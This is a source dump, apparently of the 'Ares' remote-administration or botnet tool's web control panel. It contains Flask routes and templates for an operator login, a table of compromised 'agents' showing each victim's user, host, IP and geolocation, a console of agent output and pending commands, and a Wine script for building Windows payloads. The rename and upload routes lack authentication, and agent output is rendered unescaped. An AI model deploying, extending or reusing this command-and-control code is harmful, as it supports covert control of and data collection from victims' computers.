= hashlib.sha256() 69 | password_hash.update(admin_user.salt + request.form['password']) 70 | if admin_user.password == password_hash.hexdigest(): 71 | session['username'] = 'admin' 72 | last_login_time = admin_user.last_login_time 73 | last_login_ip = admin_user.last_login_ip 74 | admin_user.last_login_time = datetime.now() 75 | admin_user.last_login_ip = request.remote_addr 76 | db.session.commit() 77 | flash('Logged in successfully.') 78 | if last_login_ip: 79 | flash('Last login from ' + last_login_ip + ' on ' + last_login_time.strftime("%d/%m/%y %H:%M")) 80 | return redirect(url_for('webui.index')) 81 | else: 82 | flash('Wrong passphrase') 83 | return render_template('login.html') 84 | 85 | 86 | @webui.route('/passchange', methods=['GET', 'POST']) 87 | @require_admin 88 | def change_password(): 89 | if request.method == 'POST': 90 | if 'password' in request.form: 91 | admin_user = User.query.filter_by(username='admin').first() 92 | password_hash, salt = hash_and_salt(request.form['password']) 93 | admin_user.password = password_hash 94 | admin_user.salt = salt 95 | db.session.add(admin_user) 96 | db.session.commit() 97 | flash('Password reset successfully. Please log in.') 98 | return redirect(url_for('webui.login')) 99 | return render_template('create_password.html') 100 | 101 | 102 | @webui.route('/logout') 103 | def logout(): 104 | session.pop('username', None) 105 | flash('Logged out successfully.') 106 | return redirect(url_for('webui.login')) 107 | 108 | 109 | @webui.route('/agents') 110 | @require_admin 111 | def agent_list(): 112 | agents = Agent.query.order_by(Agent.last_online.desc()) 113 | return render_template('agent_list.html', agents=agents) 114 | 115 | 116 | @webui.route('/agents/') 117 | @require_admin 118 | def agent_detail(agent_id): 119 | agent = Agent.query.get(agent_id) 120 | if not agent: 121 | abort(404) 122 | return render_template('agent_detail.html', agent=agent) 123 | 124 | 125 | @webui.route('/agents/rename', methods=['POST']) 126 | def rename_agent(): 127 | if 'newname' in request.form and 'id' in request.form: 128 | agent = Agent.query.get(request.form['id']) 129 | if not agent: 130 | abort(404) 131 | agent.rename(request.form['newname']) 132 | else: 133 | abort(400) 134 | return '' 135 | 136 | 137 | @webui.route('/uploads/') 138 | def uploads(path): 139 | return send_from_directory(current_app.config['UPLOAD_FOLDER'], path) 140 | -------------------------------------------------------------------------------- /server/webui/static/css/github-dark.css: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2014 GitHub Inc. 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | */ 17 | 18 | .pl-c /* comment */ { 19 | color: #969896; 20 | } 21 | 22 | .pl-c1 /* constant, markup.raw, meta.diff.header, meta.module-reference, meta.property-name, support, support.constant, support.variable, variable.other.constant */, 23 | .pl-s .pl-v /* string variable */ { 24 | color: #0099cd; 25 | } 26 | 27 | .pl-e /* entity */, 28 | .pl-en /* entity.name */ { 29 | color: #9774cb; 30 | } 31 | 32 | .pl-s .pl-s1 /* string source */, 33 | .pl-smi /* storage.modifier.import, storage.modifier.package, storage.type.java, variable.other, variable.parameter.function */ { 34 | color: #ddd; 35 | } 36 | 37 | .pl-ent /* entity.name.tag */ { 38 | color: #7bcc72; 39 | } 40 | 41 | .pl-k /* keyword, storage, storage.type */ { 42 | color: #cc2372; 43 | } 44 | 45 | .pl-pds /* punctuation.definition.string, string.regexp.character-class */, 46 | .pl-s /* string */, 47 | .pl-s .pl-pse .pl-s1 /* string punctuation.section.embedded source */, 48 | .pl-sr /* string.regexp */, 49 | .pl-sr .pl-cce /* string.regexp constant.character.escape */, 50 | .pl-sr .pl-sra /* string.regexp string.regexp.arbitrary-repitition */, 51 | .pl-sr .pl-sre /* string.regexp source.ruby.embedded */ { 52 | color: #3c66e2; 53 | } 54 | 55 | .pl-v /* variable */ { 56 | color: #fb8764; 57 | } 58 | 59 | .pl-id /* invalid.deprecated */ { 60 | color: #e63525; 61 | } 62 | 63 | .pl-ii /* invalid.illegal */ { 64 | background-color: #e63525; 65 | color: #f8f8f8; 66 | } 67 | 68 | .pl-sr .pl-cce /* string.regexp constant.character.escape */ { 69 | color: #7bcc72; 70 | font-weight: bold; 71 | } 72 | 73 | .pl-ml /* markup.list */ { 74 | color: #c26b2b; 75 | } 76 | 77 | .pl-mh /* markup.heading */, 78 | .pl-mh .pl-en /* markup.heading entity.name */, 79 | .pl-ms /* meta.separator */ { 80 | color: #264ec5; 81 | font-weight: bold; 82 | } 83 | 84 | .pl-mq /* markup.quote */ { 85 | color: #00acac; 86 | } 87 | 88 | .pl-mi /* markup.italic */ { 89 | color: #ddd; 90 | font-style: italic; 91 | } 92 | 93 | .pl-mb /* markup.bold */ { 94 | color: #ddd; 95 | font-weight: bold; 96 | } 97 | 98 | .pl-md /* markup.deleted, meta.diff.header.from-file */ { 99 | background-color: #ffecec; 100 | color: #bd2c00; 101 | } 102 | 103 | .pl-mi1 /* markup.inserted, meta.diff.header.to-file */ { 104 | background-color: #eaffea; 105 | color: #55a532; 106 | } 107 | 108 | .pl-mdr /* meta.diff.range */ { 109 | color: #9774cb; 110 | font-weight: bold; 111 | } 112 | 113 | .pl-mo /* meta.output */ { 114 | color: #264ec5; 115 | } 116 | 117 | -------------------------------------------------------------------------------- /server/webui/static/css/stylesheet.css: -------------------------------------------------------------------------------- 1 | body { 2 | margin: 0; 3 | padding: 0; 4 | background: #151515 url("../images/bkg.png") 0 0; 5 | color: #eaeaea; 6 | font: 16px; 7 | line-height: 1.5; 8 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 9 | } 10 | 11 | /* General & 'Reset' Stuff */ 12 | 13 | .container { 14 | width: 80%; 15 | margin: 0 auto; 16 | } 17 | 18 | section { 19 | display: block; 20 | margin: 0 0 20px 0; 21 | } 22 | 23 | h1, h2, h3, h4, h5, h6 { 24 | margin: 0 0 20px; 25 | } 26 | 27 | li { 28 | line-height: 1.4 ; 29 | } 30 | 31 | /* Header,
32 | header - container 33 | h1 - project name 34 | h2 - project description 35 | */ 36 | 37 | header { 38 | background: rgba(0, 0, 0, 0.1); 39 | width: 100%; 40 | border-bottom: 1px dashed #b5e853; 41 | padding: 20px 0; 42 | margin: 0 0 40px 0; 43 | } 44 | 45 | header h1 { 46 | font-size: 30px; 47 | line-height: 1.5; 48 | margin: 0 0 0 -40px; 49 | font-weight: bold; 50 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 51 | color: #b5e853; 52 | text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 53 | 0 0 5px rgba(181, 232, 83, 0.1), 54 | 0 0 10px rgba(181, 232, 83, 0.1); 55 | letter-spacing: -1px; 56 | -webkit-font-smoothing: antialiased; 57 | } 58 | 59 | header h1:before { 60 | content: "./ "; 61 | font-size: 24px; 62 | } 63 | 64 | header h2 { 65 | font-size: 18px; 66 | font-weight: 300; 67 | color: #666; 68 | } 69 | 70 | #downloads .btn { 71 | display: inline-block; 72 | text-align: center; 73 | margin: 0; 74 | } 75 | 76 | /* Main Content 77 | */ 78 | 79 | #main_content { 80 | width: 100%; 81 | -webkit-font-smoothing: antialiased; 82 | } 83 | section img { 84 | max-width: 100% 85 | } 86 | 87 | h1, h2, h3, h4, h5, h6 { 88 | font-weight: normal; 89 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 90 | color: #b5e853; 91 | letter-spacing: -0.03em; 92 | text-shadow: 0 1px 1px rgba(0, 0, 0, 0.1), 93 | 0 0 5px rgba(181, 232, 83, 0.1), 94 | 0 0 10px rgba(181, 232, 83, 0.1); 95 | } 96 | 97 | #main_content h1 { 98 | font-size: 30px; 99 | } 100 | 101 | #main_content h2 { 102 | font-size: 24px; 103 | } 104 | 105 | #main_content h3 { 106 | font-size: 18px; 107 | } 108 | 109 | #main_content h4 { 110 | font-size: 14px; 111 | } 112 | 113 | #main_content h5 { 114 | font-size: 12px; 115 | text-transform: uppercase; 116 | margin: 0 0 5px 0; 117 | } 118 | 119 | #main_content h6 { 120 | font-size: 12px; 121 | text-transform: uppercase; 122 | color: #999; 123 | margin: 0 0 5px 0; 124 | } 125 | 126 | dt { 127 | font-style: italic; 128 | font-weight: bold; 129 | } 130 | 131 | ul li { 132 | list-style: none; 133 | } 134 | 135 | ul li:before { 136 | content: ">>"; 137 | font-family: Monaco, "Bitstream Vera Sans Mono", "Lucida Console", Terminal, monospace; 138 | font-size: 13px; 139 | color: #b5e853; 140 | margin-left: -37px; 141 | margin-right: 21px; 142 | line-height: 16px; 143 | } 144 | 145 | blockquote { 146 | color: #aaa; 147 | padding-left: 10px; 148 | border-left: 1px dotted #666; 149 | } 150 | 151 | pre { 152 | background: rgba(0, 0, 0, 0.9); 153 | border: 1px solid rgba(255, 255, 255, 0.15); 154 | padding: 10px; 155 | font-size: 14px; 156 | color: #b5e853; 157 | border-radius: 2px; 158 | -moz-border-radius: 2px; 159 | -webkit-border-radius: 2px; 160 | text-wrap: normal; 161 | overflow: scroll; 162 | height: 500px; 163 | } 164 | 165 | table { 166 | width: 100%; 167 | margin: 0 0 20px 0; 168 | } 169 | 170 | th { 171 | text-align: left; 172 | border-bottom: 1px dashed #b5e853; 173 | padding: 5px 10px; 174 | } 175 | 176 | td { 177 | padding: 5px 10px; 178 | } 179 | 180 | hr { 181 | height: 0; 182 | border: 0; 183 | border-bottom: 1px dashed #b5e853; 184 | color: #b5e853; 185 | } 186 | 187 | /* Buttons 188 | */ 189 | 190 | .btn { 191 | display: inline-block; 192 | background: -webkit-linear-gradient(top, rgba(40, 40, 40, 0.3), rgba(35, 35, 35, 0.3) 50%, rgba(10, 10, 10, 0.3) 50%, rgba(0, 0, 0, 0.3)); 193 | padding: 8px 18px; 194 | border-radius: 50px; 195 | border: 2px solid rgba(0, 0, 0, 0.7); 196 | border-bottom: 2px solid rgba(0, 0, 0, 0.7); 197 | border-top: 2px solid rgba(0, 0, 0, 1); 198 | color: rgba(255, 255, 255, 0.8); 199 | font-family: Helvetica, Arial, sans-serif; 200 | font-weight: bold; 201 | font-size: 13px; 202 | text-decoration: none; 203 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.75); 204 | box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.05); 205 | } 206 | 207 | .btn:hover { 208 | background: -webkit-linear-gradient(top, rgba(40, 40, 40, 0.6), rgba(35, 35, 35, 0.6) 50%, rgba(10, 10, 10, 0.8) 50%, rgba(0, 0, 0, 0.8)); 209 | } 210 | 211 | .btn .icon { 212 | display: inline-block; 213 | width: 16px; 214 | height: 16px; 215 | margin: 1px 8px 0 0; 216 | float: left; 217 | } 218 | 219 | .btn-github .icon { 220 | opacity: 0.6; 221 | background: url("../images/blacktocat.png") 0 0 no-repeat; 222 | } 223 | 224 | /* Links 225 | a, a:hover, a:visited 226 | */ 227 | 228 | a { 229 | color: #63c0f5; 230 | text-shadow: 0 0 5px rgba(104, 182, 255, 0.5); 231 | } 232 | 233 | /* Clearfix */ 234 | 235 | .cf:before, .cf:after { 236 | content:""; 237 | display:table; 238 | } 239 | 240 | .cf:after { 241 | clear:both; 242 | } 243 | 244 | .cf { 245 | zoom:1; 246 | } 247 | 248 | #msg-term-update { 249 | cursor:pointer; 250 | margin:auto; 251 | display:none; 252 | width:250px; 253 | color:white; 254 | background:#58b220; 255 | padding:3px; 256 | text-align:center; 257 | border-radius:5px; 258 | } 259 | -------------------------------------------------------------------------------- /server/webui/static/images/bkg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sweetsoftware/Ares/886afe27daac7ef5d1b269eb6dc93b639b6cd2cd/server/webui/static/images/bkg.png -------------------------------------------------------------------------------- /server/webui/static/js/jquery.md5.js: -------------------------------------------------------------------------------- 1 | /* 2 | * jQuery MD5 Plugin 1.2.1 3 | * https://github.com/blueimp/jQuery-MD5 4 | * 5 | * Copyright 2010, Sebastian Tschan 6 | * https://blueimp.net 7 | * 8 | * Licensed under the MIT license: 9 | * http://creativecommons.org/licenses/MIT/ 10 | * 11 | * Based on 12 | * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message 13 | * Digest Algorithm, as defined in RFC 1321. 14 | * Version 2.2 Copyright (C) Paul Johnston 1999 - 2009 15 | * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet 16 | * Distributed under the BSD License 17 | * See http://pajhome.org.uk/crypt/md5 for more info. 18 | */ 19 | 20 | /*jslint bitwise: true */ 21 | /*global unescape, jQuery */ 22 | 23 | (function ($) { 24 | 'use strict'; 25 | 26 | /* 27 | * Add integers, wrapping at 2^32. This uses 16-bit operations internally 28 | * to work around bugs in some JS interpreters. 29 | */ 30 | function safe_add(x, y) { 31 | var lsw = (x & 0xFFFF) + (y & 0xFFFF), 32 | msw = (x >> 16) + (y >> 16) + (lsw >> 16); 33 | return (msw << 16) | (lsw & 0xFFFF); 34 | } 35 | 36 | /* 37 | * Bitwise rotate a 32-bit number to the left. 38 | */ 39 | function bit_rol(num, cnt) { 40 | return (num << cnt) | (num >>> (32 - cnt)); 41 | } 42 | 43 | /* 44 | * These functions implement the four basic operations the algorithm uses. 45 | */ 46 | function md5_cmn(q, a, b, x, s, t) { 47 | return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b); 48 | } 49 | function md5_ff(a, b, c, d, x, s, t) { 50 | return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t); 51 | } 52 | function md5_gg(a, b, c, d, x, s, t) { 53 | return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t); 54 | } 55 | function md5_hh(a, b, c, d, x, s, t) { 56 | return md5_cmn(b ^ c ^ d, a, b, x, s, t); 57 | } 58 | function md5_ii(a, b, c, d, x, s, t) { 59 | return md5_cmn(c ^ (b | (~d)), a, b, x, s, t); 60 | } 61 | 62 | /* 63 | * Calculate the MD5 of an array of little-endian words, and a bit length. 64 | */ 65 | function binl_md5(x, len) { 66 | /* append padding */ 67 | x[len >> 5] |= 0x80 << ((len) % 32); 68 | x[(((len + 64) >>> 9) << 4) + 14] = len; 69 | 70 | var i, olda, oldb, oldc, oldd, 71 | a = 1732584193, 72 | b = -271733879, 73 | c = -1732584194, 74 | d = 271733878; 75 | 76 | for (i = 0; i < x.length; i += 16) { 77 | olda = a; 78 | oldb = b; 79 | oldc = c; 80 | oldd = d; 81 | 82 | a = md5_ff(a, b, c, d, x[i], 7, -680876936); 83 | d = md5_ff(d, a, b, c, x[i + 1], 12, -389564586); 84 | c = md5_ff(c, d, a, b, x[i + 2], 17, 606105819); 85 | b = md5_ff(b, c, d, a, x[i + 3], 22, -1044525330); 86 | a = md5_ff(a, b, c, d, x[i + 4], 7, -176418897); 87 | d = md5_ff(d, a, b, c, x[i + 5], 12, 1200080426); 88 | c = md5_ff(c, d, a, b, x[i + 6], 17, -1473231341); 89 | b = md5_ff(b, c, d, a, x[i + 7], 22, -45705983); 90 | a = md5_ff(a, b, c, d, x[i + 8], 7, 1770035416); 91 | d = md5_ff(d, a, b, c, x[i + 9], 12, -1958414417); 92 | c = md5_ff(c, d, a, b, x[i + 10], 17, -42063); 93 | b = md5_ff(b, c, d, a, x[i + 11], 22, -1990404162); 94 | a = md5_ff(a, b, c, d, x[i + 12], 7, 1804603682); 95 | d = md5_ff(d, a, b, c, x[i + 13], 12, -40341101); 96 | c = md5_ff(c, d, a, b, x[i + 14], 17, -1502002290); 97 | b = md5_ff(b, c, d, a, x[i + 15], 22, 1236535329); 98 | 99 | a = md5_gg(a, b, c, d, x[i + 1], 5, -165796510); 100 | d = md5_gg(d, a, b, c, x[i + 6], 9, -1069501632); 101 | c = md5_gg(c, d, a, b, x[i + 11], 14, 643717713); 102 | b = md5_gg(b, c, d, a, x[i], 20, -373897302); 103 | a = md5_gg(a, b, c, d, x[i + 5], 5, -701558691); 104 | d = md5_gg(d, a, b, c, x[i + 10], 9, 38016083); 105 | c = md5_gg(c, d, a, b, x[i + 15], 14, -660478335); 106 | b = md5_gg(b, c, d, a, x[i + 4], 20, -405537848); 107 | a = md5_gg(a, b, c, d, x[i + 9], 5, 568446438); 108 | d = md5_gg(d, a, b, c, x[i + 14], 9, -1019803690); 109 | c = md5_gg(c, d, a, b, x[i + 3], 14, -187363961); 110 | b = md5_gg(b, c, d, a, x[i + 8], 20, 1163531501); 111 | a = md5_gg(a, b, c, d, x[i + 13], 5, -1444681467); 112 | d = md5_gg(d, a, b, c, x[i + 2], 9, -51403784); 113 | c = md5_gg(c, d, a, b, x[i + 7], 14, 1735328473); 114 | b = md5_gg(b, c, d, a, x[i + 12], 20, -1926607734); 115 | 116 | a = md5_hh(a, b, c, d, x[i + 5], 4, -378558); 117 | d = md5_hh(d, a, b, c, x[i + 8], 11, -2022574463); 118 | c = md5_hh(c, d, a, b, x[i + 11], 16, 1839030562); 119 | b = md5_hh(b, c, d, a, x[i + 14], 23, -35309556); 120 | a = md5_hh(a, b, c, d, x[i + 1], 4, -1530992060); 121 | d = md5_hh(d, a, b, c, x[i + 4], 11, 1272893353); 122 | c = md5_hh(c, d, a, b, x[i + 7], 16, -155497632); 123 | b = md5_hh(b, c, d, a, x[i + 10], 23, -1094730640); 124 | a = md5_hh(a, b, c, d, x[i + 13], 4, 681279174); 125 | d = md5_hh(d, a, b, c, x[i], 11, -358537222); 126 | c = md5_hh(c, d, a, b, x[i + 3], 16, -722521979); 127 | b = md5_hh(b, c, d, a, x[i + 6], 23, 76029189); 128 | a = md5_hh(a, b, c, d, x[i + 9], 4, -640364487); 129 | d = md5_hh(d, a, b, c, x[i + 12], 11, -421815835); 130 | c = md5_hh(c, d, a, b, x[i + 15], 16, 530742520); 131 | b = md5_hh(b, c, d, a, x[i + 2], 23, -995338651); 132 | 133 | a = md5_ii(a, b, c, d, x[i], 6, -198630844); 134 | d = md5_ii(d, a, b, c, x[i + 7], 10, 1126891415); 135 | c = md5_ii(c, d, a, b, x[i + 14], 15, -1416354905); 136 | b = md5_ii(b, c, d, a, x[i + 5], 21, -57434055); 137 | a = md5_ii(a, b, c, d, x[i + 12], 6, 1700485571); 138 | d = md5_ii(d, a, b, c, x[i + 3], 10, -1894986606); 139 | c = md5_ii(c, d, a, b, x[i + 10], 15, -1051523); 140 | b = md5_ii(b, c, d, a, x[i + 1], 21, -2054922799); 141 | a = md5_ii(a, b, c, d, x[i + 8], 6, 1873313359); 142 | d = md5_ii(d, a, b, c, x[i + 15], 10, -30611744); 143 | c = md5_ii(c, d, a, b, x[i + 6], 15, -1560198380); 144 | b = md5_ii(b, c, d, a, x[i + 13], 21, 1309151649); 145 | a = md5_ii(a, b, c, d, x[i + 4], 6, -145523070); 146 | d = md5_ii(d, a, b, c, x[i + 11], 10, -1120210379); 147 | c = md5_ii(c, d, a, b, x[i + 2], 15, 718787259); 148 | b = md5_ii(b, c, d, a, x[i + 9], 21, -343485551); 149 | 150 | a = safe_add(a, olda); 151 | b = safe_add(b, oldb); 152 | c = safe_add(c, oldc); 153 | d = safe_add(d, oldd); 154 | } 155 | return [a, b, c, d]; 156 | } 157 | 158 | /* 159 | * Convert an array of little-endian words to a string 160 | */ 161 | function binl2rstr(input) { 162 | var i, 163 | output = ''; 164 | for (i = 0; i < input.length * 32; i += 8) { 165 | output += String.fromCharCode((input[i >> 5] >>> (i % 32)) & 0xFF); 166 | } 167 | return output; 168 | } 169 | 170 | /* 171 | * Convert a raw string to an array of little-endian words 172 | * Characters >255 have their high-byte silently ignored. 173 | */ 174 | function rstr2binl(input) { 175 | var i, 176 | output = []; 177 | output[(input.length >> 2) - 1] = undefined; 178 | for (i = 0; i < output.length; i += 1) { 179 | output[i] = 0; 180 | } 181 | for (i = 0; i < input.length * 8; i += 8) { 182 | output[i >> 5] |= (input.charCodeAt(i / 8) & 0xFF) << (i % 32); 183 | } 184 | return output; 185 | } 186 | 187 | /* 188 | * Calculate the MD5 of a raw string 189 | */ 190 | function rstr_md5(s) { 191 | return binl2rstr(binl_md5(rstr2binl(s), s.length * 8)); 192 | } 193 | 194 | /* 195 | * Calculate the HMAC-MD5, of a key and some data (raw strings) 196 | */ 197 | function rstr_hmac_md5(key, data) { 198 | var i, 199 | bkey = rstr2binl(key), 200 | ipad = [], 201 | opad = [], 202 | hash; 203 | ipad[15] = opad[15] = undefined; 204 | if (bkey.length > 16) { 205 | bkey = binl_md5(bkey, key.length * 8); 206 | } 207 | for (i = 0; i < 16; i += 1) { 208 | ipad[i] = bkey[i] ^ 0x36363636; 209 | opad[i] = bkey[i] ^ 0x5C5C5C5C; 210 | } 211 | hash = binl_md5(ipad.concat(rstr2binl(data)), 512 + data.length * 8); 212 | return binl2rstr(binl_md5(opad.concat(hash), 512 + 128)); 213 | } 214 | 215 | /* 216 | * Convert a raw string to a hex string 217 | */ 218 | function rstr2hex(input) { 219 | var hex_tab = '0123456789abcdef', 220 | output = '', 221 | x, 222 | i; 223 | for (i = 0; i < input.length; i += 1) { 224 | x = input.charCodeAt(i); 225 | output += hex_tab.charAt((x >>> 4) & 0x0F) + 226 | hex_tab.charAt(x & 0x0F); 227 | } 228 | return output; 229 | } 230 | 231 | /* 232 | * Encode a string as utf-8 233 | */ 234 | function str2rstr_utf8(input) { 235 | return unescape(encodeURIComponent(input)); 236 | } 237 | 238 | /* 239 | * Take string arguments and return either raw or hex encoded strings 240 | */ 241 | function raw_md5(s) { 242 | return rstr_md5(str2rstr_utf8(s)); 243 | } 244 | function hex_md5(s) { 245 | return rstr2hex(raw_md5(s)); 246 | } 247 | function raw_hmac_md5(k, d) { 248 | return rstr_hmac_md5(str2rstr_utf8(k), str2rstr_utf8(d)); 249 | } 250 | function hex_hmac_md5(k, d) { 251 | return rstr2hex(raw_hmac_md5(k, d)); 252 | } 253 | 254 | $.md5 = function (string, key, raw) { 255 | if (!key) { 256 | if (!raw) { 257 | return hex_md5(string); 258 | } else { 259 | return raw_md5(string); 260 | } 261 | } 262 | if (!raw) { 263 | return hex_hmac_md5(key, string); 264 | } else { 265 | return raw_hmac_md5(key, string); 266 | } 267 | }; 268 | 269 | }(typeof jQuery === 'function' ? jQuery : this)); -------------------------------------------------------------------------------- /server/webui/templates/agent_console.html: -------------------------------------------------------------------------------- 1 |
2 | {% if agent.output %}
3 | {{ agent.output | safe }}
4 | {% endif %}
5 | {% for cmd in agent.commands %}
6 | Pending: {{ cmd.cmdline }}
7 | {% endfor %}
8 | 
9 | -------------------------------------------------------------------------------- /server/webui/templates/agent_detail.html: -------------------------------------------------------------------------------- 1 | {% with previous_page=url_for('webui.agent_list'), title=agent.display_name %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |
9 |
10 | 11 |
12 |
13 | ↓ Terminal updated ↓ 14 |
15 |
16 | 17 |
18 | 19 |
20 | 21 | 159 | 160 |
161 |
162 | 163 | {% include "footer.html" %} 164 | -------------------------------------------------------------------------------- /server/webui/templates/agent_list.html: -------------------------------------------------------------------------------- 1 | {% with previous_page=url_for('webui.index'), title="Agent list" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 | {% for agent in agents %} 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | {% endfor %} 27 |
NameLast OnlineUserHostIPOSGeolocationChange nameSel.
{{agent.display_name}} {% if agent.last_online %}{% if agent.is_online() %}ONLINE{%else%}{{agent.last_online.strftime('%Y/%m/%d %H:%M')}}{%endif%}{% endif %}{{agent.username}}{{agent.hostname}}{{agent.remote_ip}}{{agent.operating_system}}{{agent.geolocation}}Change name
28 |
29 |
30 |
31 | 32 | 33 | 57 | 58 | {% include "footer.html" %} 59 | -------------------------------------------------------------------------------- /server/webui/templates/create_password.html: -------------------------------------------------------------------------------- 1 | {% with title="Ares" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |

Please define a password for the Web Interface.

9 |
10 | New Password


11 | Confirm


12 | 13 |
14 | 15 |
16 |
17 | 28 | 29 | {% include "footer.html" %} 30 | -------------------------------------------------------------------------------- /server/webui/templates/footer.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /server/webui/templates/header.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Ares 10 | {% with messages = get_flashed_messages() %} 11 | {% if messages %} 12 |
    13 | {% for message in messages %} 14 |
  • {{message}}
  • 15 | {% endfor %} 16 | {% endif %} 17 |
18 | {% endwith %} 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | {% if not custom_header %} 28 |
29 |
30 |

{{ title }}

31 | {% if previous_page %} 32 | << Back 33 | {% endif %} 34 | {% if session.username %} 35 |

Logged in as {{ session.username }}

36 |

Change Password Disconnect

37 | {% endif %} 38 |
39 |
40 | {% endif %} 41 | -------------------------------------------------------------------------------- /server/webui/templates/index.html: -------------------------------------------------------------------------------- 1 | {% with title="Ares" %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 | 8 |

Welcome to Ares.

9 | 12 | 13 |
14 |
15 | 16 | {% include "footer.html" %} 17 | -------------------------------------------------------------------------------- /server/webui/templates/login.html: -------------------------------------------------------------------------------- 1 | {% with custom_header=True %} 2 | {% include "header.html" %} 3 | {% endwith %} 4 | 5 |
6 |
7 |
8 | _____ 9 | / _ \_______ ____ ______ 10 | / /_\ \_ __ \_/ __ \ / ___/ 11 | / | \ | \/\ ___/ \___ \ 12 | \____|__ /__| \___ >____ > 13 | \/ \/ \/ 14 |
15 |
16 |
17 | 18 |
19 |
20 |
21 |

Passphrase:

22 |
23 |
24 |
25 | 26 | {% include "footer.html" %} 27 | -------------------------------------------------------------------------------- /wine_setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get -yq install wine32 4 | wget -q https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi -O /tmp/python-2.7.msi 5 | wine msiexec /q /i /tmp/python-2.7.msi 6 | wine C:/Python27/Scripts/pip.exe install -r requirements.txt 7 | rm /tmp/python-2.7.msi 8 | --------------------------------------------------------------------------------